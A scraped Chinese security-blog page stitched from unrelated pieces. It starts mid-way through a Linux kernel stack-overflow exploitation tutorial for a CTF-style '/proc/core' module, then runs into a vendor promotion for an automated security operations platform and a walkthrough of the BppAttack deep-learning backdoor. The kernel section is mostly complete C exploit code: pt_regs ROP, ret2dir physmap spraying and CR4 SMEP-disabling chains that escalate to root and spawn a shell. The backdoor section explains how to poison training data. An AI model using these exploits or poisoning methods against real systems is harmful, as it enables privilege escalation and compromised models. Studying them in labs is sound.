unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
内核栈只有一个页面的大小,而 pt_regs 结构体则固定位于内核栈栈底,当我们劫持内核结构体中的某个函数指针时(例如 seq_operations->start),在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的。
而在系统调用当中过程有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15,这些寄存器为我们布置 ROP 链提供了可能,我们不难想到:只需要寻找到一条形如 "add rsp, val ; ret" 的gadget便能够完成ROP,在进入内核态前像寄存器写入一些值,看那些寄存器可以被保留,以便后续写入gadget。
KPTI pass:使用 seq_operations + pt_regs
结构体 seq_operations 的条目如下:
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
-
当我们打开一个 stat 文件时(如 /proc/self/stat)便会在内核空间中分配一个 seq_operations 结构体
-
当我们 read 一个 stat 文件时,内核会调用其 proc_ops 的 proc_read_iter 指针,然后调用 seq_operations->start 函数指针
这次我们限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。其中一个思路就是在 pt_regs 上构造 rop 。我们在调用 core_copy_func 函数之前先将寄存器设置为几个特殊的值,然后再 core_copy_func 函数的返回处下断点。
__asm__("mov r15, 0x1111111111111111;"
"mov r14, 0x2222222222222222;"
"mov r13, 0x3333333333333333;"
"mov r12, 0x4444444444444444;"
"mov rbp, 0x5555555555555555;"
"mov rbx, 0x6666666666666666;"
"mov r11, 0x7777777777777777;"
"mov r10, 0x8888888888888888;"
"mov r9, 0x9999999999999999;"
"mov r8, 0xaaaaaaaaaaaaaaaa;"
"mov rcx, 0xbbbbbbbbbbbbbbbb;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0050;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
数字没变的寄存器就是我们能够控制的,可以被我们用来写 gadget。
0b:0058│ 0xffffc90000113f58 ◂— 0x1111111111111111 ; r150c:0060│ 0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""') ; r14
0d:0068│ 0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333') ; r13
0e:0070│ 0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD') ; r12
0f:0078│ 0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU') ; rbp
10:0080│ 0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff') ; rsp
11:0088│ 0xffffc90000113f88 ◂— 0x207
12:0090│ 0xffffc90000113f90 ◂— 0x8888888888888888 ;r10
13:0098│ 0xffffc90000113f98 ◂— 0x9999999999999999 ;r9
14:00a0│ 0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa ;r8
15:00a8│ 0xffffc90000113fa8 ◂— 0xffffffffffffffda
16:00b0│ 0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
17:00b8│ 0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */
18:00c0│ 0xffffc90000113fc0 ◂— 0x6677889a
19:00c8│ 0xffffc90000113fc8 ◂— 0x614d8e5400000004
1a:00d0│ 0xffffc90000113fd0 ◂— 0x10
1b:00d8│ 0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
1c:00e0│ 0xffffc90000113fe0 ◂— 0x33 /* '3' */
1d:00e8│ 0xffffc90000113fe8 ◂— 0x207
1e:00f0│ 0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0
1f:00f8│ 0xffffc90000113ff8 ◂— 0x2b /* '+' */ 新版本内核对抗利用 pt_regs 进行攻击的办法
内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值:
diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.cindex 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
#ifdef CONFIG_X86_64
__visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
{
+ add_random_kstack_offset();
nr = syscall_enter_from_user_mode(regs, nr);
instrumentation_begin();
当然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget 来继续完成利用,不过稳定性也大幅下降了。
exp #include <fcntl.h>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset + 8;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[64] = canary;
*(size_t *) &buf[80] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_restore_regs_and_return_to_usermode;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
system("/bin/sh");
return 0;
}
执行 add_rsp_0xc8_pop*4_ret 时栈布局,rsp抬高0xc8+0x20后 ret 会执行到我们的 shellcode。
ret2dir如果 ptregs 所在的内存被修改了导致可控内存变少,我们可以利用 ret2dir 的利用方式将栈迁移至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的mm.txt查看。
ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,原论文。 linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area,即内核的线性映射区。,这个区域映射了所有的物理内存。我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到。
但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用。
利用思路-
在用户空间大量喷洒我们的gadget: add_rsp_0xe8_ret
-
返回地址覆盖为对应内核版本的线性映射区+0x7000000的位置。
-
利用pt_regs保存的pop_rbp_ret; target_addr; leave;ret 来完成栈迁移。
-
执行线性映射区的shellcode。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t retn = 0xFFFFFFFF81003E15;
size_t pop_rbp_ret = 0xFFFFFFFF812D71EF;
size_t leave_ret = 0xFFFFFFFF81037384;
const size_t try_hit = 0xffff880000000000+0x7000000;
size_t user_cs, user_rflags, user_sp, user_ss;
size_t page_size;
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell()
{
system("/bin/sh");
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
pop_rbp_ret += offset;
leave_ret += offset;
retn += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
void physmap()
{
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Error: open core");
}
page_size = sysconf(_SC_PAGESIZE);
printf("[*] page_size %llx", &page_size);
size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int idx = 0;
while (idx < (page_size / 8 - 0x30)) {
rop[idx++] = add_rsp_0xe8_ret;
}
for (; idx < (page_size / 8 - 0xb); idx++) {
rop[idx] = retn;
}
rop[idx++] = pop_rdi_ret;
rop[idx++] = init_cred;
rop[idx++] = commit_creds;
rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[idx++] = 0x0000000000000000;
rop[idx++] = 0x0000000000000000;
rop[idx++] = (size_t) get_shell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
puts("[*] Spraying physmap...");
for (int i = 1; i < 15000; i++) {
size_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(page, rop, page_size);
}
puts("[*] trigger physmap one_gadget...");
}
int main()
{
rebase();
save_status();
physmap();
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
*(size_t *) &buf[0x50] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rbp_ret;"
"mov r14, try_hit;"
"mov r13, leave_ret;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
return 0;
}
流程
(1)修改返回地址为线性映射区的地址,大概率会执行到add_rsp_0xe8_ret将栈抬升到pt_regs处,执行我们负责栈迁移的shell_code。
(2)将栈迁移到我们目标地址后,大量的slider gadget将栈不断抬升到get_root代码处,完成提权。
kernel rop + ret2user 利用思路这种方法实际上是将前两种方法结合起来,同样可以绕过 smap 和 smep 保护。大体思路是先利用 rop 设置 cr4 为 0x6f0 (这个值可以通过用 cr4 原始值 & 0xFFFFF 得到)关闭 smep , 然后 iret 到用户空间去执行提权代码。
例如,当
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要
mov cr4, 0x1407e0# 0x1407e0 = 101 0 0000 0011 1111 00000
即可关闭 smep 保护。
搜索一下从 vmlinux 中提取出的 gadget,很容易就能达到这个目的。
-
如何查看 CR4 寄存器的值?
gdb 无法查看 cr4 寄存器的值,可以通过kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 0x6f0,即 mov cr4, 0x6f0。
注意这里 smap 保护不能直接关闭,因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁移到 trap frame 的地址,而是在 rop 中构造 trap frame 结构。
#include <fcntl.h>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell()
{
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[64] = canary;
size_t *rop = (size_t *) &buf[80], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0x00000000000006f0;
rop[it++] = mov_cr4_rdi_ret;
rop[it++] = (size_t) get_root;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
Kernel Stack栈溢出攻击及保护绕过
一套智能+自动化的风险智能决策系统,让安全运维按点下班
自从加入网安赛道,你有多久没按点下班了?
回想当初,不论是心动于网安赛道的高薪收入还是执着于内心的英雄主义想要守护网络空间的和平安宁,曾经的安全运维都是如假包换的“知识密集型”岗位。
但如今随着数字化进程的全速推进,人工智能的便捷红利扑面而来,当更多的数据与信息暴露在网络中,网络空间的安全态势也变得愈发多元、复杂且攻击频发,这不仅让企业的业务运行与经济收益时刻面临严峻威胁,更让安全运维人陷入到无休止的消耗中。
传统的安全处置模式在监测、研判、通知、协同、处置等各个环节都会过度依赖人工,于是当攻击发生时,身在实战一线的运维人也总会经历这样的场面:
·在各种设备前上下翻飞,被设备中的海量数据搞到头秃……
·在各种系统中来回跳切,任回家的末班车渐行渐远……
·黑客永远在白天按兵不动,却偏偏在凌晨三点你刚躺在床上的那一刻发起攻击……
·你纵有三头六臂,但面对各个设备、各类平台激增的告警量仍旧应接不暇……
安全运维的岗位已然从知识密集型演变成劳动密集型,但自己头顶的毛发却早已稀疏到不行……
如何用智能化的手段提升运维人的幸福指数,让运维人不再被动响应做事后诸葛,告别IT民工实现无人的值守和自动化的秒级响应,近日四川中烟工业有限责任公司(以下简称“四川中烟”)依托“智能化、自动化的新型安全运营管理体系——网络安全风险智能决策平台”给出了一套最佳的实践案例。
一、架构设计
为实现高效的安全管理和自动化响应,网络安全风险智能决策平台采用了分层架构设计,其中:
接入层:实现多源日志接入,同时构建原子化能力调用资源池。
功能层:对海量信息进行清洗、转换,基于规则引擎和AI算法,对经过处理的数据进行深度解析,生成安全建议或直接触发自动化响应动作。
运营层:构建一体化综合运营中心。
二、实践级应用
网络安全风险智能决策平台以围绕安全事件,重点提升威胁的发现能力(监、检、测)和处置能力,依托全网的信息采集、信息分析等基础能力建设,以智能预警为基础,在既有信息安全防护体系基础上,结合新型网络安全技术,底层运用大数据技术夯实底层数据基石,中层利用人工智能提升核心安全分析能力,上层应用可视化技术直观展示数字化安全态势感知。自下而上全面构建持续性安全监测、分析、预警、响应的网络安全态势感知体系,真正实现安全威胁的主动感知和联防联控,推动全行安全威胁感知整体能力升级。
目前,平台已逐步成为四川中烟安全运营中枢,现阶段已落地并稳定运行的剧本包括:外网安全威胁自动核查封堵、漏洞扫描与自动化复核、终端安全事件处置、威胁情报/企业微信通报处置、链路与核心设备状态监测、VPN异常事件处置、周期性统计与趋势分析报表生成等。
典型剧本如下:
(1)外网安全威胁自动核查封堵
(2)漏洞扫描与自动化复核
(3)终端安全事件处置
通过本次项目建设,四川中烟利用网络安全风险智能决策平台建立了各类安全处置工作的标准化流程步骤和应对措施,打造出“威胁感知、分析定位、智能决策、响应处置”的快速安全闭环能力,有效提升整体安全效果和安全运维效率,以及安全管理和监督指导能力,实现“自动响应闭环、持续安全运营”的整体目标。
三、价值收益
(1)运维人的机敏哨兵,提升安全防御能力
通过全面监控全网环境,实时发现并阻止恶意活动,显著增强公司的网络安全防护能力,能够在第一时间捕捉到潜在威胁,并采取有效的预防措施,从而减少安全事件的发生概率。
(2)减少运维人重复劳动,优化资源配置
让专业人员投入到更高价值的工作中去,提高了工作效率和资源利用率。自动化和智能化的任务分配机制,使技术人员可以从繁琐的日常维护工作中解脱出来,专注于更具挑战性的研究和发展项目。
(3)提升响应效率,让运维人按时下班
利用机器学习算法分析海量数据,快速定位问题根源,并采取有效措施进行修复,大大缩短了平均响应时间。通过预定义的工作流和自动化响应机制,能够在几秒钟内完成原本需要数小时甚至数天才能完成的操作,极大地提高了应急处理的速度和准确性。
(4)促进跨部门协作,合力守护安全
打破信息孤岛,建立统一的安全管理体系,实现各部门之间无缝对接,提升了整体协同作战的能力,有效促进不同职能部门间的紧密合作,形成了合力对抗安全威胁的良好局面。
Apache 修复 Tomcat Web 服务器中的远程代码执行绕过问题
一套智能+自动化的风险智能决策系统,让安全运维按点下班
深度学习后门攻击分析与实现(二)
在本系列的第一部分中,我们已经掌握了深度学习中的后门攻击的特点以及基础的攻击方式,现在我们在第二部分中首先来学习深度学习后门攻击在传统网络空间安全中的应用。然后再来分析与实现一些颇具特点的深度学习后门攻击方式。
深度学习与网络空间安全的交叉深度学习作为人工智能的一部分,在许多领域中取得了显著的进展。然而,随着其广泛应用,深度学习模型的安全性也引起了广泛关注。后门攻击就是其中一种重要的威胁,尤其在网络空间安全领域中。
我们已经知道深度学习后门攻击是一种攻击者通过在训练过程中插入恶意行为,使得模型在特定的触发条件下表现异常的攻击方式。具体来说,攻击者在训练数据集中加入带有后门触发器的样本,使得模型在遇到类似的触发器时,产生攻击者期望的错误输出,而在正常情况下,模型仍能表现出高准确率。这种隐蔽性和针对性使得后门攻击非常难以检测和防御。
现在我们举几个例子介绍后门攻击在网络空间安全中的应用场景。
恶意软件检测:在网络安全中,恶意软件检测是一个重要应用。攻击者可以通过后门攻击技术,使得恶意软件检测模型在检测特定样本时失效。例如,攻击者可以在训练恶意软件检测模型时插入带有后门的恶意样本,使得模型在检测带有特定触发器的恶意软件时无法正确识别,从而达到隐蔽恶意软件的目的。
入侵检测系统:入侵检测系统(Intrusion Detection System, IDS)用于监测网络流量并识别潜在的入侵行为。攻击者可以在训练IDS模型时加入后门触发器,使得模型在特定条件下无法识别攻击流量。例如,攻击者可以在训练数据中插入带有特定模式的正常流量,使得模型在检测到这些模式时误判为正常,从而绕过入侵检测系统。
图像识别安全:在网络空间安全中,图像识别技术被广泛应用于身份验证和监控系统中。攻击者可以利用后门攻击,在训练图像识别模型时插入带有后门的图像样本,使得模型在识别带有特定触发器的图像时出现误判。例如,攻击者可以使得带有特定标志的非法图像被识别为合法,从而绕过安全监控系统。
可见后门攻击与网络空间安全其他领域还是存在不少交叉的。
现在我们继续来分析并实现、复现典型的深度学习后门攻击方法。
BppAttack 理论这篇工作提出了一种名为BPPATTACK的深度神经网络(DNN)木马攻击方法。该攻击利用了人类视觉系统对图像量化和抖动处理不敏感的特性,通过这些技术生成难以被人类察觉的触发器,进而实现对DNN的高效、隐蔽的木马攻击。
现有的攻击使用可见模式(如图像补丁或图像变换)作为触发器,这些触发器容易受到人类检查的影响。比如下图就可以看到很明显的触发器。
BPPATTACK方案的核心思想是利用人类视觉系统对图像微小变化的不敏感性,通过图像量化和抖动技术生成难以被人类察觉的触发器,实现对深度神经网络(DNN)的高效、隐蔽的木马攻击。
人类视觉系统对颜色深度的变化不是特别敏感,特别是当颜色变化非常微小的时候。BPPATTACK正是基于这一生物学原理,通过调整图像的颜色深度来生成触发器。
-
图像量化(Bit-Per-Pixel Reduction):
-
图像量化是减少图像中每种颜色的比特数,从而减少图像的总颜色数量。BPPATTACK通过降低每个像素的比特深度,使用量化后的最近邻颜色值来替换原始颜色值,实现对图像的微小修改。
-
抖动技术(Dithering):
-
为了消除由于颜色量化引起的不自然或明显的图像伪影,BPPATTACK采用抖动技术,特别是Floyd-Steinberg抖动算法,来平滑颜色过渡,提高图像的自然度和视觉质量。
BPPATTACK旨在生成一种触发器,它对人类观察者来说是几乎不可察觉的,但对机器学习模型来说足够显著,能够触发预设的木马行为。这种平衡是通过精确控制量化和抖动的程度来实现的。
-
与需要训练额外的图像变换模型或自编码器的攻击不同,BPPATTACK不需要训练任何辅助模型,这简化了攻击流程并提高了效率。
-
为了提高攻击的成功率和隐蔽性,BPPATTACK采用了对比学习和对抗性训练的结合。通过这种方式,模型被训练来识别和利用量化和抖动生成的触发器,同时忽略其他不重要的特征。
量化过程涉及将原始图像的颜色深度从( m )位减少到( d )位(( d < m ))。对于每个像素值,使用以下公式进行量化:
其中:
-
( T(x) ) 是量化后的像素值。
-
( x ) 是原始像素值。
-
( m ) 是原始颜色深度的位数(每个通道)。
-
( d ) 是量化后的目标颜色深度的位数。
-
( \text{round} ) 是四舍五入到最近的整数。
Floyd-Steinberg Dithering:抖动算法用于改善量化后的图像质量,通过将量化误差扩散到邻近像素。对于每个像素,计算量化误差并更新周围像素:
然后,根据Floyd-Steinberg分布,更新当前像素和周围像素:
BPPATTACK方案的关键在于通过量化和抖动技术生成的微小变化对人类视觉系统是不可见的,但对DNN模型是可区分的,从而实现隐蔽的木马攻击。
我们来看看该方法得到的部分中毒样本
分析关键函数
-
Bpp 类:继承自 BadNet,添加了命令行参数处理和数据集准备功能,用于特定处理阶段。
-
set_bd_args 方法:配置与攻击设置相关的命令行参数。
-
stage1_non_training_data_prepare 方法:准备和变换数据集,设置 DataLoader,并存储阶段 1 的结果。
-
类声明:
-
class Bpp(BadNet): Bpp 是 BadNet 的一个子类。
-
构造函数 (__init__ 方法):
-
def __init__(self):: 这是 Bpp 的初始化方法。
-
super(Bpp, self).__init__(): 调用父类 BadNet 的构造函数,以确保执行父类中的初始化逻辑。
-
set_bd_args 方法:
-
--bd_yaml_path: 指定一个 YAML 文件的路径,用于提供额外的默认属性。
-
--neg_ratio, --random_rotation, --random_crop, --squeeze_num, --dithering: 各种与攻击配置相关的参数,如负比率、旋转、裁剪、压缩和抖动。
-
def set_bd_args(cls, parser: argparse.ArgumentParser) -> argparse.ArgumentParser:: 这个类方法用于使用 argparse 库设置命令行参数。
-
parser = add_common_attack_args(parser): 调用 add_common_attack_args 函数,添加与攻击相关的常见参数。
-
parser.add_argument(...): 添加各种命令行参数:
-
返回值:
-
返回更新后的 parser 对象,其中包含所有添加的参数。
-
stage1_non_training_data_prepare 方法:
-
clean_train_dataloader: 一个用于清洁训练数据集的 DataLoader,应用了变换。
-
clean_train_dataloader_shuffled: 一个用于清洁训练数据集的 DataLoader,但数据是打乱的。
-
clean_test_dataloader: 一个用于清洁测试数据集的 DataLoader。
-
train_dataset_without_transform, train_img_transform, train_label_transform, 等变量:这些变量被赋值为调用 self.benign_prepare() 的结果,该方法用于准备数据集和变换。
-
clean_train_dataset_with_transform.wrap_img_transform = test_img_transform: 将训练数据集的图像变换更新为与测试数据集的图像变换一致。
-
logging.info("stage1 start"): 记录阶段 1 的开始。
-
assert "args" in self.__dict__: 确保 args 属性存在于实例中。
-
def stage1_non_training_data_prepare(self):: 这个方法用于准备第一阶段的数据。
-
日志记录与断言:
-
数据集准备:
-
DataLoader 初始化:
-
存储结果:
-
self.stage1_results: 存储各种数据集和 DataLoader 以备阶段 1 进一步使用。
这段代码是一个神经网络训练和评估的流程,具体针对的是后门攻击(backdoor attack)的研究
-
初始化:
-
代码开始时,记录训练阶段2的开始时间。
-
通过断言检查 self 对象中是否包含 args 属性,获取训练参数。
-
设备选择:
-
根据是否有可用的 GPU 来设置计算设备。如果 args.device 包含多个设备(例如 "cuda:2,3,7"),则使用 torch.nn.DataParallel 来并行计算。
-
模型生成:
-
调用 generate_cls_model 函数生成分类模型 netC,并将其移动到指定的设备上。
-
优化器和学习率调度器:
-
调用 argparser_opt_scheduler 函数获取优化器和学习率调度器。
-
数据预处理:
-
过滤出可逆的图像变换(如标准化、缩放、转换为张量)。
-
创建干净和背门攻击的数据集,分别保存处理后的数据集。
-
训练数据处理:
-
遍历干净训练数据,通过反归一化得到原始图像。
-
根据攻击标签转换类型("all2one" 或 "all2all")来生成背门攻击数据。
-
处理数据集中的每一批次,并将干净样本和背门样本保存到数据集中。
-
测试数据处理:
-
对测试数据进行类似的预处理和保存操作,包括处理干净测试数据和背门测试数据。
-
评估背门效果,并根据攻击标签转换类型生成相应的标签和数据。
-
负样本生成:
-
如果指定了负样本比率(neg_ratio),生成负样本数据。这些负样本用于评估背门攻击的效果。
-
将负样本与其他数据合并,并保存处理后的数据。
-
模型训练和评估:
-
对每个 epoch 执行训练和评估步骤。记录训练损失、准确率、背门攻击成功率等指标。
-
将每个 epoch 的训练和测试结果保存到列表中,并绘制训练和测试指标的图表。
-
模型保存和结果输出:
-
在训练周期结束时保存模型状态、学习率调度器状态、优化器状态等。
-
将训练和测试结果保存到 CSV 文件中,并生成最终的攻击结果数据。
-
完成:
-
输出“done”表示训练和保存过程已完成。
每个步骤都有明确的目标,从数据处理到模型训练,再到最终结果保存,涵盖了整个训练和评估的过程。
这段代码包含了两个主要的函数:train_step 和 eval_step。它们分别用于训练和评估模型
train_step 函数功能: 执行一个训练步骤,处理数据、计算损失、更新模型权重,并计算各种指标。
-
初始化:
-
记录日志,设置模型为训练模式。
-
获取训练参数,包括背门比率(rate_bd)和压缩数(squeeze_num)。
-
初始化交叉熵损失函数(criterion_CE)和数据转换对象(transforms)。
-
初始化一些用于记录的列表。
-
数据处理:
-
清空优化器的梯度。
-
将输入数据和目标标签移动到指定设备(GPU/CPU)。
-
计算背门样本和负样本的数量。
-
根据是否存在背门样本和负样本,生成相应的数据:
-
处理数据集中的每一批次,将背门样本和负样本合并到一起。
-
应用数据转换函数。
-
背门样本: 对背门样本进行处理(如抖动处理)并生成标签。
-
负样本: 生成负样本数据并合并到训练数据中。
-
对每个批次的数据进行处理:
-
模型训练:
-
计算模型的预测结果,并记录计算时间。
-
计算损失,进行反向传播,更新优化器。
-
记录每个批次的损失、预测结果、标签等信息。
-
计算指标:
-
计算每个 epoch 的平均损失和准确率。
-
根据背门样本、负样本和干净样本的指标,计算背门攻击成功率(ASR)、干净样本准确率等。
-
返回:
-
